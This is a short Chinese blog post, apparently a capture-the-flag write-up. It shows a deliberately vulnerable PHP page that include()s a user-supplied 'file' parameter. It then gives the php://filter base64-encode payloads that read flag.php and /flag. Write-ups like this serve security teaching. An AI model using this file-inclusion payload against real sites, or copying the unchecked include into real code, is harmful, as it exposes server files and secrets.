本文最后更新于442 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、访问网站

二、分析代码
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}
else {
echo "Hacker!!";
}
}else { highlight_file(__FILE__);
}
//flag.php
substr($_GET["file"], 0, 3) === "php"
该代码会截取输入的前三个是否是php,可以想到是php伪协议
三、使用php伪协议
file=php://filter/read=convert.base64-encode/resource=flag.php

解码后发现flag不在这里,并且出现提示

四、读取/flag文件
file=php://filter/read=convert.base64-encode/resource=/flag

成功获取flag

总结
- php伪协议
- filter伪协议